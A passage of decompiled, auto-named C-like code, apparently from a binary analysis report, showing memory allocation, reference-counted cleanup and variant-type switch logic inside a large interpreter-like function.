												_t1442 =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) + _t974 * 4)) + 8));
												if(_t1442 < 0x47) {
												}
												goto L22;
											}
											goto L21;
											L22:
											_t1443 = _t1442 - 0x47;
											__eflags = _t1443;
											if(_t1443 == 0) {
												_t1767 = _t1767 + 1;
												goto L21;
											}
											_t1444 = _t1443 - 1;
											__eflags = _t1444;
											if(_t1444 != 0) {
												__eflags = _t1444 != 0x37;
												if(_t1444 != 0x37) {
													goto L21;
												}
												_push( *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) + _t974 * 4 - 4)) + 0xa)));
												_push(0x6f);
												_push(_a4);
												goto L624;
											}
											__eflags = _t1767;
											if(_t1767 != 0) {
												_t1767 = _t1767 - 1;
												_t974 = _t974 + 1;
												continue;
											}
											_v208 = _t974;
											 *_t1728 = _t974 + 1;
											_t978 = _v24;
											__eflags = _t978 -  *0xf890f8; // 0x0
											if(__eflags > 0) {
												L296:
												_v148 = _t1444;
												L28:
												_v116 = _t1444;
												__eflags = _v136 - _t1444;
												if(_v136 <= _t1444) {
													L57:
													_t979 = _v116;
													__eflags = _t979 - _v160;
													if(_t979 < _v160) {
														L622:
														_push(_v104);
														_push(0x70);
														goto L623;
													}
													__eflags = _t979 - _v136;
													if(_t979 > _v136) {
														goto L622;
													}
													__eflags = _t1611 - _v208;
													if(_t1611 != _v208) {
														goto L622;
													}
													_t1393 = _v24;
													_t1768 = 0;
													_v212 = 3;
													_v200 = 0;
													_v156 = 0;
													_v152 = _t1393;
													__eflags = _t1393;
													if(_t1393 < 0) {
														_v152 = 0;
													}
													__eflags =  *0xf87f3d; // 0x0
													if(__eflags != 0) {
														_t1611 =  *0xf87f38; // 0x0
														 *_t1611 = 0;
														_t1448 =  *0xf87f38; // 0x0
														 *((intOrPtr*)(_t1448 + 4)) = _v152;
														 *0xf87f3d = 0;
													} else {
														_push(0xc);
														_t1295 = E00EF14F7(_t1728, _t1768, __eflags);
														_t1809 = _t1809 + 4;
														__eflags = _t1295 - _t1768;
														if(_t1295 == _t1768) {
															_t1754 = 0;
														} else {
															_t1754 = _t1295;
															 *_t1754 = _t1768;
															_t1611 = _v152;
															 *(_t1754 + 4) = _t1611;
															__eflags = _v152 - _t1768;
															if(_v152 < _t1768) {
																 *(_t1754 + 4) = _t1768;
															}
															_t1296 = _v156;
															__eflags = _t1296 - _t1768;
															if(__eflags != 0) {
																_push(0x20);
																_v204 = _t1296;
																_t1297 = E00EF14F7(_t1754, _t1768, __eflags);
																_t1809 = _t1809 + 4;
																__eflags = _t1297 - _t1768;
																if(_t1297 == _t1768) {
																	_t1298 = 0;
																	__eflags = 0;
																} else {
																	_t1298 = E00F2B393(_t1297);
																}
																 *_t1754 = _t1298;
																E00EEDE00(_t1298, _v204);
																_t1790 = _v208;
																 *((intOrPtr*)( *_t1754 + 0x10)) =  *((intOrPtr*)(_t1790 + 0x10));
																 *((intOrPtr*)( *_t1754 + 0x14)) =  *((intOrPtr*)(_t1790 + 0x14));
																 *((intOrPtr*)( *_t1754 + 0x18)) = 0;
																 *((intOrPtr*)( *_t1754 + 0x1c)) = 0;
																E00F333B8(_t1754,  *_t1754 + 0x18,  *((intOrPtr*)(_t1790 + 0x18)));
																_t1611 =  *(_t1790 + 0x1c);
																E00F333B8(_t1754,  *_t1754 + 0x1c, _t1611);
																_t1768 = 0;
															} else {
																 *_t1754 = _t1768;
															}
														}
														_t1549 =  *0xf87f38; // 0x0
														 *(_t1754 + 8) = _t1549;
														 *0xf87f38 = _t1754;
													}
													_t983 = _v156;
													 *0xf87f34 =  *0xf87f34 + 1;
													__eflags = _t983 - _t1768;
													if(_t983 != _t1768) {
														_t1730 = _t983;
														_t984 =  *((intOrPtr*)(_t983 + 0x18));
														__eflags = _t984 - _t1768;
														if(_t984 != _t1768) {
															E00EEB650(_t1393,  &_v156, _t1730, _t984);
														}
														_t985 =  *((intOrPtr*)(_t1730 + 0x1c));
														__eflags = _t985 - _t1768;
														if(_t985 != _t1768) {
															E00EEB650(_t1393,  &_v156, _t1730, _t985);
														}
														__eflags =  *((char*)(_t1730 + 0x10));
														if( *((char*)(_t1730 + 0x10)) == 0) {
															_t1546 =  *((intOrPtr*)(_t1730 + 0x14));
															__eflags =  *((intOrPtr*)(_t1730 + 0x14)) - _t1768;
															if( *((intOrPtr*)(_t1730 + 0x14)) != _t1768) {
																E00EEE3C0(_t1546, _t1730, 1);
															}
														}
														E00F2651E(_t1730);
													}
													__eflags = _v136 - 1;
													if(_v136 < 1) {
														L146:
														_t1769 = _a4;
														_v100 = 0;
														_v88 = 0;
														_v84 = 0;
														_v80 = 0;
														_v76 = 0;
														_v68 = 0;
														_v56 = 0;
														_v52 = 0;
														 *((intOrPtr*)(_t1769 + 0x148)) = _v116;
														_v92 = 1;
														_v60 = 1;
														_t1450 =  *((intOrPtr*)( *_t1769 + 4));
														__eflags =  *((char*)(_t1450 + _t1769 + 0xd));
														_t1731 = _t1450 + _t1769 + 4;
														if(__eflags != 0) {
															E00F538C9(_t1450,  *(_t1731 + 4),  &_v100);
															 *((char*)(_t1731 + 9)) = 0;
														} else {
															_push(0x40);
															_t1176 = E00EF14F7(_t1731, _t1769, __eflags);
															_t1809 = _t1809 + 4;
															__eflags = _t1176;
															if(_t1176 == 0) {
																_t1176 = 0;
															} else {
																__eflags = 0;
																 *(_t1176 + 8) = 1;
																 *((intOrPtr*)(_t1176 + 0xc)) = 0;
																 *_t1176 = 0;
																 *((char*)(_t1176 + 0x10)) = 0;
																 *((intOrPtr*)(_t1176 + 0x14)) = 0;
																 *((char*)(_t1176 + 0x18)) = 0;
																 *(_t1176 + 0x28) = 1;
																 *((intOrPtr*)(_t1176 + 0x2c)) = 0;
																 *((intOrPtr*)(_t1176 + 0x20)) = 0;
																 *((char*)(_t1176 + 0x30)) = 0;
															}
															 *(_t1176 + 0x38) =  *(_t1731 + 4);
															 *(_t1731 + 4) = _t1176;
														}
														 *_t1731 =  *_t1731 + 1;
														_t1394 =  *((intOrPtr*)(_t1769 + 0x16c));
														_t1732 = _t1769 + 0x16c;
														_t1451 = _t1769;
														_v156 =  *((intOrPtr*)(_t1769 + 0xf4));
														E00EE9430(_t1769,  *((intOrPtr*)(_t1769 + 0xf4)), _t1851, _t1393 + 1); // executed
														__eflags = _t1394 -  *_t1732;
														if(_t1394 <  *_t1732) {
															do {
																E00EEC9E0(_t1394, _t1451, _t1732);
																__eflags = _t1394 -  *_t1732;
															} while (_t1394 <  *_t1732);
															goto L151;
														} else {
															L151:
															_t1733 = _t1769;
															 *((intOrPtr*)(_t1733 + 0xf4)) = _v156;
															_t1617 =  *((intOrPtr*)( *_t1733 + 4));
															__eflags =  *((char*)(_t1617 + _t1733 + 0xd));
															_t334 = _t1733 + 4; // 0x4
															_t997 =  *((intOrPtr*)(_t1617 + _t334 + 4));
															if( *((char*)(_t1617 + _t1733 + 0xd)) != 0) {
																_t997 =  *((intOrPtr*)(_t997 + 0x38));
															}
															__eflags =  *((char*)(_t997 + 0x10));
															if( *((char*)(_t997 + 0x10)) == 0) {
																_t1770 = _a12;
																 *_a16 = 0;
																E00EE9190(_t1733, _t1770);
																 *(_t1770 + 8) = 1;
																 *_t1770 = 0;
																goto L166;
															} else {
																 *_a16 = 1;
																_t1158 =  *((intOrPtr*)( *_t1733 + 4));
																__eflags =  *((char*)(_t1158 + _t1733 + 0xd));
																_t1159 = _t1158 + _t1733 + 4;
																if( *((char*)(_t1158 + _t1733 + 0xd)) != 0) {
																	_t1777 =  *( *(_t1159 + 4) + 0x38);
																} else {
																	_t1777 =  *(_t1159 + 4);
																}
																_t1403 = _a12;
																__eflags = _t1403 - _t1777;
																if(_t1403 == _t1777) {
																	L166:
																	_t1453 =  *_t1733;
																	_t1618 =  *((intOrPtr*)( *_t1733 + 4));
																	__eflags =  *((char*)(_t1618 + _t1733 + 0xd));
																	_t1000 =  *((intOrPtr*)(_t1618 + _t1733 + 8));
																	_t1771 = _t1618 + _t1733 + 4;
																	if( *((char*)(_t1618 + _t1733 + 0xd)) != 0) {
																		_t1000 =  *((intOrPtr*)(_t1000 + 0x38));
																	}
																	__eflags =  *((char*)(_t1000 + 0x18));
																	if( *((char*)(_t1000 + 0x18)) != 0) {
																		_t1002 = E00EE3EF0(_t1771);
																		_t1453 =  *((intOrPtr*)(_t1002 + 0x14));
																		_v80 =  *((intOrPtr*)(_t1002 + 0x14));
																	}
																	__eflags =  *((char*)(_t1771 + 9));
																	if( *((char*)(_t1771 + 9)) != 0) {
																		_t1003 =  *((intOrPtr*)( *((intOrPtr*)(_t1771 + 4)) + 0x38));
																	} else {
																		_t1003 =  *((intOrPtr*)(_t1771 + 4));
																	}
																	__eflags =  *((char*)(_t1003 + 0x30));
																	if( *((char*)(_t1003 + 0x30)) != 0) {
																		E00EE90D0( &_v68, _t1453, E00EE3EF0(_t1771) + 0x20);
																	}
																	_t1396 = _a4;
																	_t1454 =  *((intOrPtr*)( *_t1396 + 4));
																	__eflags =  *((char*)(_t1454 + _t1396 + 0xd));
																	_t1734 = _t1454 + _t1396 + 4;
																	if( *((char*)(_t1454 + _t1396 + 0xd)) != 0) {
																		_t1009 =  *(_t1734 + 4);
																		_t1771 =  *(_t1009 + 0x38);
																		__eflags = _t1009;
																		if(_t1009 != 0) {
																			E00F2CC67(_t1009);
																		}
																		 *(_t1734 + 4) = _t1771;
																		 *((char*)(_t1734 + 9)) = 0;
																	}
																	__eflags =  *((char*)(_t1734 + 8));
																	if( *((char*)(_t1734 + 8)) != 0) {
																		 *((char*)(_t1734 + 9)) = 1;
																		goto L190;
																	} else {
																		_t1771 =  *(_t1734 + 4);
																		_v156 =  *((intOrPtr*)(_t1771 + 0x38));
																		__eflags = _t1771;
																		if(_t1771 == 0) {
																			L189:
																			 *(_t1734 + 4) = _v156;
																			 *((char*)(_t1734 + 9)) = 0;
																			L190:
																			 *_t1734 =  *_t1734 - 1;
																			_t1011 =  *((intOrPtr*)( *_t1396 + 4));
																			_t1455 =  *((intOrPtr*)(_t1011 + _t1396 + 8));
																			_t1012 = _t1011 + _t1396;
																			__eflags =  *((char*)(_t1012 + 0xd));
																			if( *((char*)(_t1012 + 0xd)) != 0) {
																				_t1455 =  *((intOrPtr*)(_t1455 + 0x38));
																			}
																			 *((intOrPtr*)(_t1455 + 0x14)) = _v80;
																			__eflags =  *((char*)(_t1012 + 0xd));
																			_t1013 =  *((intOrPtr*)(_t1012 + 8));
																			if( *((char*)(_t1012 + 0xd)) != 0) {
																				_t1013 =  *((intOrPtr*)(_t1013 + 0x38));
																			}
																			 *((char*)(_t1013 + 0x18)) = 0;
																			_t1015 =  *((intOrPtr*)( *_t1396 + 4)) + _t1396;
																			__eflags =  *((char*)(_t1015 + 0xd));
																			_v156 = _t1015;
																			if( *((char*)(_t1015 + 0xd)) != 0) {
																				_t1016 =  *((intOrPtr*)( *((intOrPtr*)(_t1015 + 8)) + 0x38));
																			} else {
																				_t1016 =  *((intOrPtr*)(_t1015 + 8));
																			}
																			_t406 = _t1016 + 0x20; // 0x21
																			_t1397 = _t406;
																			__eflags = _t1397 -  &_v68;
																			if(_t1397 ==  &_v68) {
																				L204:
																				_t1735 = _v124;
																				goto L205;
																			} else {
																				_t1109 =  *(_t1397 + 0xc);
																				__eflags = _t1109;
																				if(_t1109 != 0) {
																					E00F2651E(_t1109);
																					 *(_t1397 + 0xc) = 0;
																				}
																				_t1111 =  *((intOrPtr*)(_t1397 + 8));
																				__eflags = _t1111 - 8;
																				if(_t1111 == 8) {
																					_t1474 =  *_t1397;
																					__eflags = _t1474;
																					if(_t1474 == 0) {
																						goto L197;
																					}
																					__imp__#9(_t1474);
																					_push( *_t1397);
																					E00EF10FC();
																					_t1809 = _t1809 + 4;
																					goto L201;
																				} else {
																					L197:
																					__eflags = _t1111 - 0xa;
																					if(_t1111 == 0xa) {
																						_t1112 =  *_t1397;
																						__eflags = _t1112;
																						if(_t1112 != 0) {
																							E00F230B0(_t1112);
																						}
																					} else {
																						__eflags = _t1111 - 5;
																						if(_t1111 == 5) {
																							E00EEE470(_t1397, _t1771);
																						} else {
																							__eflags = _t1111 - 0xb;
																							if(_t1111 == 0xb) {
																								_push( *((intOrPtr*)( *_t1397 + 4)));
																								E00EF10FC();
																								_push( *_t1397);
																								E00EF10FC();
																								_t1809 = _t1809 + 8;
																							} else {
																								__eflags = _t1111 - 0xc;
																								if(_t1111 == 0xc) {
																									_t1123 =  *_t1397;
																									__eflags = _t1123;
																									if(_t1123 != 0) {
																										E00F2B350(_t1123);
																									}
																								}
																							}
																						}
																					}
																					L201:
																					_t1113 = _v60;
																					 *_t1397 = 0;
																					 *((intOrPtr*)(_t1397 + 8)) = _t1113;
																					__eflags = _t1113 - 1;
																					if(_t1113 != 1) {
																						_t1114 = _t1113 - 1;
																						__eflags = _t1114 - 0xb;
																						if(__eflags > 0) {
																							goto L204;
																						}
																						switch( *((intOrPtr*)(_t1114 * 4 +  &M00F0AE92))) {
																							case 0:
																								goto L202;
																							case 1:
																								 *_t1397 = _v68;
																								 *((intOrPtr*)(_t1397 + 4)) = _v64;
																								goto L204;
																							case 2:
																								__fp0 = _v68;
																								 *__ebx = _v68;
																								goto L204;
																							case 3:
																								_push(0x10);
																								__eax = E00EF14F7(__edi, __esi, __eflags);
																								__esp = __esp + 4;
																								__eflags = __eax;
																								if(__eax == 0) {
																									__eax = 0;
																									__ebx[3] = 0;
																								} else {
																									__ecx = _v56;
																									__edx =  *__ecx;
																									 *__eax =  *__ecx;
																									__edx =  *(__ecx + 4);
																									 *(__eax + 4) =  *(__ecx + 4);
																									__edx =  *(__ecx + 8);
																									 *(__eax + 8) =  *(__ecx + 8);
																									__ecx =  *(__ecx + 0xc);
																									 *(__eax + 0xc) = __ecx;
																									 *__ecx =  *__ecx + 1;
																									__ebx[3] = __eax;
																								}
																								goto L204;
																							case 4:
																								_push(0x214);
																								__eax = E00EF14F7(__edi, __esi, __eflags);
																								__esp = __esp + 4;
																								__eflags = __eax;
																								if(__eax == 0) {
																									__eax = 0;
																									__eflags = 0;
																								} else {
																									__esi = _v68;
																									__ecx = 0x85;
																									__edi = __eax;
																									__eax = memcpy(__eax, __esi, 0x85 << 2);
																									__esi + __ecx = __esi + __ecx + __ecx;
																									__ecx = 0;
																								}
																								__edi = _v124;
																								 *__ebx = __eax;
																								__eflags =  *(__eax + 4);
																								if( *(__eax + 4) != 0) {
																									__eax =  *(__eax + 4);
																									 *__eax =  *__eax + 1;
																								}
																								L205:
																								_t1018 = _v156;
																								__eflags =  *((char*)(_t1018 + 0xd));
																								if( *((char*)(_t1018 + 0xd)) != 0) {
																									_t1019 =  *((intOrPtr*)( *((intOrPtr*)(_t1018 + 8)) + 0x38));
																								} else {
																									_t1019 =  *((intOrPtr*)(_t1018 + 8));
																								}
																								 *((char*)(_t1019 + 0x30)) = 0;
																								__eflags =  *0xf87f3d;
																								if( *0xf87f3d != 0) {
																									_t1020 =  *0xf87f38; // 0x0
																									_t1771 =  *(_t1020 + 8);
																									E00F4FE4A(_t1397, _t1735, _t1020);
																									_t1458 =  *(_t1020 + 8);
																									 *0xf87f38 = _t1458;
																									 *0xf87f3d = 0;
																								} else {
																									_t1458 =  *0xf87f38; // 0x0
																								}
																								__eflags =  *0xf87f3c;
																								if( *0xf87f3c != 0) {
																									_t1398 = _v128;
																									 *0xf87f3d = 1;
																									goto L229;
																								} else {
																									_t1771 =  *_t1458;
																									_v160 = _t1458[2];
																									_v156 = _t1458;
																									__eflags = _t1771;
																									if(_t1771 == 0) {
																										L228:
																										_t1398 = _v128;
																										_push(_v156);
																										E00EF10FC();
																										_t1809 = _t1809 + 4;
																										 *0xf87f38 = _v160;
																										 *0xf87f3d = 0;
																										L229:
																										 *0xf87f34 =  *0xf87f34 - 1;
																										 *((intOrPtr*)(_a4 + 0x148)) = _v8;
																										_t1023 = _v56;
																										__eflags = _t1023;
																										if(_t1023 != 0) {
																											E00F2651E(_t1023);
																											_v60 = 0;
																										}
																										_t1025 = _v60;
																										__eflags = _t1025 - 8;
																										if(_t1025 == 8) {
																											_t1772 = _v68;
																											__eflags = _t1772;
																											if(_t1772 != 0) {
																												_push(_t1772);
																												__imp__#9();
																												_push(_t1772);
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																											}
																										} else {
																											__eflags = _t1025 - 0xa;
																											if(_t1025 == 0xa) {
																												_t1073 = _v68;
																												__eflags = _t1073;
																												if(_t1073 != 0) {
																													E00F230B0(_t1073);
																												}
																											} else {
																												__eflags = _t1025 - 5;
																												if(_t1025 == 5) {
																													E00EEE470( &_v68, _t1771);
																												} else {
																													__eflags = _t1025 - 0xb;
																													if(_t1025 == 0xb) {
																														_t1776 = _v68;
																														_push( *((intOrPtr*)(_t1776 + 4)));
																														E00EF10FC();
																														_push(_t1776);
																														E00EF10FC();
																														_t1809 = _t1809 + 8;
																													} else {
																														__eflags = _t1025 - 0xc;
																														if(_t1025 == 0xc) {
																															_t1079 = _v68;
																															__eflags = _t1079;
																															if(_t1079 != 0) {
																																E00F2B350(_t1079);
																															}
																														}
																													}
																												}
																											}
																										}
																										_t1026 = _v88;
																										_t1773 = _v92;
																										_t1460 = 0;
																										_v60 = 1;
																										_v68 = 0;
																										__eflags = _t1026;
																										if(_t1026 != 0) {
																											E00F2651E(_t1026);
																											_v92 = 0;
																											_t1623 = 1;
																											_t1460 = 0;
																										}
																										__eflags = _t1773 - 8;
																										if(_t1773 == 8) {
																											__eflags = _v100 - _t1460;
																											if(_v100 != _t1460) {
																												_t1773 = _v100;
																												_push(_t1773);
																												__imp__#9();
																												_push(_t1773);
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																												_t1623 = 1;
																												_t1460 = 0;
																											}
																										} else {
																											__eflags = _t1773 - 0xa;
																											if(_t1773 == 0xa) {
																												__eflags = _v100 - _t1460;
																												if(_v100 != _t1460) {
																													E00F230B0(_v100);
																													_t1623 = 1;
																													_t1460 = 0;
																												}
																											} else {
																												__eflags = _t1773 - 5;
																												if(_t1773 == 5) {
																													E00EEE470( &_v100, _t1773);
																													_t1623 = 1;
																													_t1460 = 0;
																												} else {
																													__eflags = _t1773 - 0xb;
																													if(_t1773 == 0xb) {
																														_t1773 = _v100;
																														_push( *((intOrPtr*)(_t1773 + 4)));
																														E00EF10FC();
																														_push(_t1773);
																														E00EF10FC();
																														_t1809 = _t1809 + 8;
																														_t1623 = 1;
																														_t1460 = 0;
																													} else {
																														__eflags = _t1773 - 0xc;
																														if(_t1773 == 0xc) {
																															__eflags = _v100 - _t1460;
																															if(_v100 != _t1460) {
																																E00F2B350(_v100);
																																_t1623 = 1;
																																_t1460 = 0;
																															}
																														}
																													}
																												}
																											}
																										}
																										_t1028 = _v184;
																										__eflags = _t1028 - _t1460;
																										if(_t1028 != _t1460) {
																											E00F2651E(_t1028);
																											_v188 = 0;
																											_t1623 = 1;
																											_t1460 = 0;
																										}
																										_t1030 = _v188;
																										__eflags = _t1030 - 8;
																										if(_t1030 == 8) {
																											_t1031 = _v196;
																											__eflags = _t1031 - _t1460;
																											if(_t1031 != _t1460) {
																												_push(_t1031);
																												__imp__#9();
																												_push(_v200);
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																												_t1623 = 1;
																												_t1460 = 0;
																											}
																										} else {
																											__eflags = _t1030 - 0xa;
																											if(_t1030 == 0xa) {
																												_t1055 = _v196;
																												__eflags = _t1055 - _t1460;
																												if(_t1055 != _t1460) {
																													E00F230B0(_t1055);
																													_t1623 = 1;
																													_t1460 = 0;
																												}
																											} else {
																												__eflags = _t1030 - 5;
																												if(_t1030 == 5) {
																													E00EEE470( &_v196, _t1773);
																													_t1623 = 1;
																													_t1460 = 0;
																												} else {
																													__eflags = _t1030 - 0xb;
																													if(_t1030 == 0xb) {
																														_push( *(_v196 + 4));
																														E00EF10FC();
																														_push(_v196);
																														E00EF10FC();
																														_t1809 = _t1809 + 8;
																														_t1623 = 1;
																														_t1460 = 0;
																													} else {
																														__eflags = _t1030 - 0xc;
																														if(_t1030 == 0xc) {
																															_t1062 = _v196;
																															__eflags = _t1062 - _t1460;
																															if(_t1062 != _t1460) {
																																E00F2B350(_t1062);
																																_t1623 = 1;
																																_t1460 = 0;
																															}
																														}
																													}
																												}
																											}
																										}
																										_v188 = _t1623;
																										_v196 = _t1460;
																										__eflags = _t1735 - _t1460;
																										if(_t1735 <= _t1460) {
																											L250:
																											_push(_v128);
																											E00EF10FC();
																											_t1811 = _t1809 + 4;
																											__eflags = _v172;
																											if(_v172 <= 0) {
																												L263:
																												_push(_v176);
																												E00EF10FC();
																												_t946 = 0;
																												__eflags = 0;
																												goto L264;
																											} else {
																												_t1399 = 0;
																												__eflags = 0;
																												do {
																													_t1774 =  *(_v176 + _t1399 * 4);
																													__eflags = _t1774;
																													if(_t1774 == 0) {
																														goto L262;
																													}
																													_t1736 =  *(_t1774 + 0xc);
																													__eflags = _t1736;
																													if(_t1736 != 0) {
																														 *( *(_t1736 + 0xc)) =  *( *(_t1736 + 0xc)) - 1;
																														__eflags =  *( *(_t1736 + 0xc));
																														if( *( *(_t1736 + 0xc)) == 0) {
																															_push( *_t1736);
																															E00EF10FC();
																															_push( *(_t1736 + 0xc));
																															E00EF10FC();
																															_t1811 = _t1811 + 8;
																														}
																														_push(_t1736);
																														E00EF10FC();
																														_t1811 = _t1811 + 4;
																														 *(_t1774 + 0xc) = 0;
																													}
																													_t1035 =  *(_t1774 + 8);
																													__eflags = _t1035 - 8;
																													if(_t1035 == 8) {
																														_t1461 =  *_t1774;
																														__eflags = _t1461;
																														if(_t1461 == 0) {
																															goto L257;
																														}
																														_push(_t1461);
																														__imp__#9();
																														_push( *_t1774);
																														E00EF10FC();
																														_t1811 = _t1811 + 4;
																														goto L261;
																													} else {
																														L257:
																														__eflags = _t1035 - 0xa;
																														if(_t1035 == 0xa) {
																															_t1036 =  *_t1774;
																															__eflags = _t1036;
																															if(_t1036 != 0) {
																																E00F230B0(_t1036);
																															}
																														} else {
																															__eflags = _t1035 - 5;
																															if(_t1035 == 5) {
																																E00EEE470(_t1774, _t1774);
																															} else {
																																__eflags = _t1035 - 0xb;
																																if(_t1035 == 0xb) {
																																	_push( *((intOrPtr*)( *_t1774 + 4))); // executed
																																	E00EF10FC(); // executed
																																	_push( *_t1774);
																																	E00EF10FC();
																																	_t1811 = _t1811 + 8;
																																} else {
																																	__eflags = _t1035 - 0xc;
																																	if(_t1035 == 0xc) {
																																		_t1044 =  *_t1774;
																																		__eflags = _t1044;
																																		if(_t1044 != 0) {
																																			E00F2B350(_t1044);
																																		}
																																	}
																																}
																															}
																														}
																														L261:
																														_push(_t1774);
																														 *(_t1774 + 8) = 1;
																														 *_t1774 = 0;
																														E00EF10FC();
																														_t1811 = _t1811 + 4;
																													}
																													L262:
																													_t1399 = _t1399 + 1;
																													__eflags = _t1399 - _v172;
																												} while (_t1399 < _v172);
																												goto L263;
																											}
																										} else {
																											_t1775 = 0;
																											__eflags = 0;
																											do {
																												_push( *((intOrPtr*)(_t1398 + _t1775 * 4)));
																												E00EF10FC();
																												_t1775 = _t1775 + 1;
																												_t1809 = _t1809 + 4;
																												__eflags = _t1775 - _t1735;
																											} while (_t1775 < _t1735);
																											goto L250;
																										}
																									} else {
																										_t1082 =  *(_t1771 + 0x18);
																										_t1400 = _t1458;
																										__eflags = _t1082;
																										if(_t1082 != 0) {
																											E00EEB650(_t1400, _t1458, _t1735, _t1082); // executed
																										}
																										_t1083 =  *(_t1771 + 0x1c);
																										__eflags = _t1083;
																										if(_t1083 != 0) {
																											E00EEB650(_t1400, _t1400, _t1735, _t1083); // executed
																										}
																										__eflags =  *((char*)(_t1771 + 0x10));
																										if( *((char*)(_t1771 + 0x10)) != 0) {
																											L225:
																											 *( *(_t1771 + 0xc)) =  *( *(_t1771 + 0xc)) - 1;
																											__eflags =  *( *(_t1771 + 0xc));
																											if( *( *(_t1771 + 0xc)) == 0) {
																												_push( *_t1771);
																												E00EF10FC();
																												_push( *(_t1771 + 0xc));
																												E00EF10FC();
																												_t1809 = _t1809 + 8;
																											}
																											_push(_t1771); // executed
																											E00EF10FC(); // executed
																											_t1735 = _v124;
																											_t1809 = _t1809 + 4;
																											goto L228;
																										} else {
																											_t1401 =  *(_t1771 + 0x14);
																											__eflags = _t1401;
																											if(_t1401 == 0) {
																												goto L225;
																											}
																											_t1737 =  *(_t1401 + 0xc);
																											__eflags = _t1737;
																											if(_t1737 != 0) {
																												 *( *(_t1737 + 0xc)) =  *( *(_t1737 + 0xc)) - 1;
																												__eflags =  *( *(_t1737 + 0xc));
																												if( *( *(_t1737 + 0xc)) == 0) {
																													_push( *_t1737);
																													E00EF10FC();
																													_push( *(_t1737 + 0xc));
																													E00EF10FC();
																													_t1809 = _t1809 + 8;
																												}
																												_push(_t1737);
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																												 *(_t1401 + 0xc) = 0;
																											}
																											_t1090 =  *(_t1401 + 8);
																											__eflags = _t1090 - 8;
																											if(_t1090 == 8) {
																												_t1471 =  *_t1401;
																												__eflags = _t1471;
																												if(_t1471 == 0) {
																													goto L220;
																												}
																												_push(_t1471);
																												__imp__#9();
																												_push( *_t1401);
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																												goto L224;
																											} else {
																												L220:
																												__eflags = _t1090 - 0xa;
																												if(_t1090 == 0xa) {
																													_t1091 =  *_t1401;
																													__eflags = _t1091;
																													if(_t1091 != 0) {
																														E00F230B0(_t1091);
																													}
																												} else {
																													__eflags = _t1090 - 5;
																													if(_t1090 == 5) {
																														E00EEE470(_t1401, _t1771);
																													} else {
																														__eflags = _t1090 - 0xb;
																														if(_t1090 == 0xb) {
																															_push( *((intOrPtr*)( *_t1401 + 4))); // executed
																															E00EF10FC(); // executed
																															_push( *_t1401);
																															E00EF10FC();
																															_t1809 = _t1809 + 8;
																														} else {
																															__eflags = _t1090 - 0xc;
																															if(_t1090 == 0xc) {
																																_t1099 =  *_t1401;
																																__eflags = _t1099;
																																if(_t1099 != 0) {
																																	E00F2B350(_t1099);
																																}
																															}
																														}
																													}
																												}
																												L224:
																												_push(_t1401);
																												 *(_t1401 + 8) = 1;
																												 *_t1401 = 0;
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																												goto L225;
																											}
																										}
																									}
																								}
																							case 5:
																								__ecx = _v68;
																								 *__ebx = __ecx;
																								goto L204;
																							case 6:
																								__esi = _v68;
																								__eflags = __esi;
																								if(__eflags != 0) {
																									_push(0x10);
																									__eax = E00EF14F7(__edi, __esi, __eflags);
																									__esp = __esp + 4;
																									_push(__eax);
																									 *__ebx = __eax;
																									__imp__#8();
																									__edx =  *__ebx;
																									_push(__esi);
																									_push( *__ebx);
																									__imp__#10();
																									__eflags = __eax;
																									if(__eax < 0) {
																										__eax =  *__ebx;
																										_push( *__ebx);
																										__imp__#9();
																										__ecx =  *__ebx;
																										_push( *__ebx);
																										__eax = E00EF10FC();
																										__esp = __esp + 4;
																										 *__ebx = 0;
																									}
																								}
																								goto L204;
																							case 7:
																								 *__ebx = _v68;
																								goto L204;
																							case 8:
																								_push(0x18);
																								__eax = E00EF14F7(__edi, __esi, __eflags);
																								__esp = __esp + 4;
																								__eflags = __eax;
																								if(__eax == 0) {
																									goto L567;
																								}
																								__ecx = _v68;
																								__eax = E00F2B82F(__eax, _v68);
																								goto L203;
																							case 9:
																								_push(8);
																								__eax = E00EF14F7(__edi, __esi, __eflags);
																								__esi = _v68;
																								 *__ebx = __eax;
																								__edx =  *__esi;
																								 *__eax =  *__esi;
																								__eax =  *__ebx;
																								__eax =  *( *__ebx);
																								__esp = __esp + 4;
																								__eflags = __eax;
																								if(__eflags == 0) {
																									_push(1);
																									__eax = E00EF14F7(__edi, __esi, __eflags);
																									__edx =  *__ebx;
																									 *( *__ebx + 4) = __eax;
																									__eax =  *__ebx;
																									__ecx =  *(__eax + 4);
																									__esp = __esp + 4;
																									 *__ecx = 0;
																								} else {
																									_push(__eax);
																									__eax = E00EF14F7(__edi, __esi, __eflags);
																									__ecx =  *__ebx;
																									 *( *__ebx + 4) = __eax;
																									__ebx =  *__ebx;
																									__edx =  *__ebx;
																									__eax =  *(__esi + 4);
																									__ecx = __ebx[1];
																									__esp = __esp + 4;
																									__eax = E00EF0D80(__ebx[1],  *(__esi + 4),  *__ebx);
																								}
																								goto L204;
																							case 0xa:
																								_push(0x14);
																								__eax = E00EF14F7(__edi, __esi, __eflags);
																								__esp = __esp + 4;
																								__eflags = __eax;
																								if(__eax == 0) {
																									L567:
																									__eax = 0;
																									L203:
																									 *_t1397 = _t1116;
																									goto L204;
																								}
																								__edx = _v68;
																								__eax = E00F5082A(__eax, _v68);
																								goto L203;
																						}
																					}
																					L202:
																					_t1116 = _v68;
																					goto L203;
																				}
																			}
																		}
																		_t1126 =  *(_t1771 + 0x2c);
																		__eflags = _t1126;
																		if(_t1126 != 0) {
																			E00F2651E(_t1126);
																			 *(_t1771 + 0x2c) = 0;
																		}
																		_t1128 =  *(_t1771 + 0x28);
																		__eflags = _t1128 - 8;
																		if(_t1128 == 8) {
																			_t1477 =  *(_t1771 + 0x20);
																			__eflags = _t1477;
																			if(_t1477 == 0) {
																				goto L176;
																			}
																			__imp__#9(_t1477);
																			_push( *(_t1771 + 0x20));
																			E00EF10FC();
																			_t1809 = _t1809 + 4;
																			goto L180;
																		} else {
																			L176:
																			__eflags = _t1128 - 0xa;
																			if(_t1128 == 0xa) {
																				_t1129 =  *(_t1771 + 0x20);
																				__eflags = _t1129;
																				if(_t1129 != 0) {
																					E00F230B0(_t1129);
																				}
																			} else {
																				__eflags = _t1128 - 5;
																				if(_t1128 == 5) {
